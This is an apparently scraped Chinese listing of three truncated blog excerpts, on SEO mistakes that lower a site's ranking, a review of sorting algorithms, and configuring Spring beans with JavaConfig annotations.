网站排名下降的原因和解决方法(SEO优化失误可能导致网站排名下降)

SEO优化是网站推广的重要环节&#xff0c;它可以提升网站的访问量和排名。但是&#xff0c;SEO优化不当也可能会导致网站排名下降。本文将分析SEO优化失误可能导致网站排名下降的原因&#xff0c;并提供相应的解决方法。 一&#xff1a;标题——SEO优化过度 SEO优化的目的是为…

数据结构与算法--排序算法复习

目录 1.三种常见的简单排序&#xff1a; 1.1冒泡排序 1.2 选择排序 1.3 插⼊排序 2 常见高级排序算法 2.1 希尔排序 2.2 快速排序 2.3 归并排序 2.4计数排序 先上结论&#xff1a; 1.三种常见的简单排序&#xff1a; 1.1冒泡排序 1.⾸先在未排序数组的⾸位开始&#…

spring_javaConfig实现配置

现在我们尝试不使用Spring的XML文件来配置了&#xff0c;全权交给Java来做 1 编写pojo类 这个类要被Spring接管&#xff0c;要被注册到容器中 添加Component注解通过Value注解来为属性注入值 package com.wq.pojo;import org.springframework.beans.factory.annotation.Value…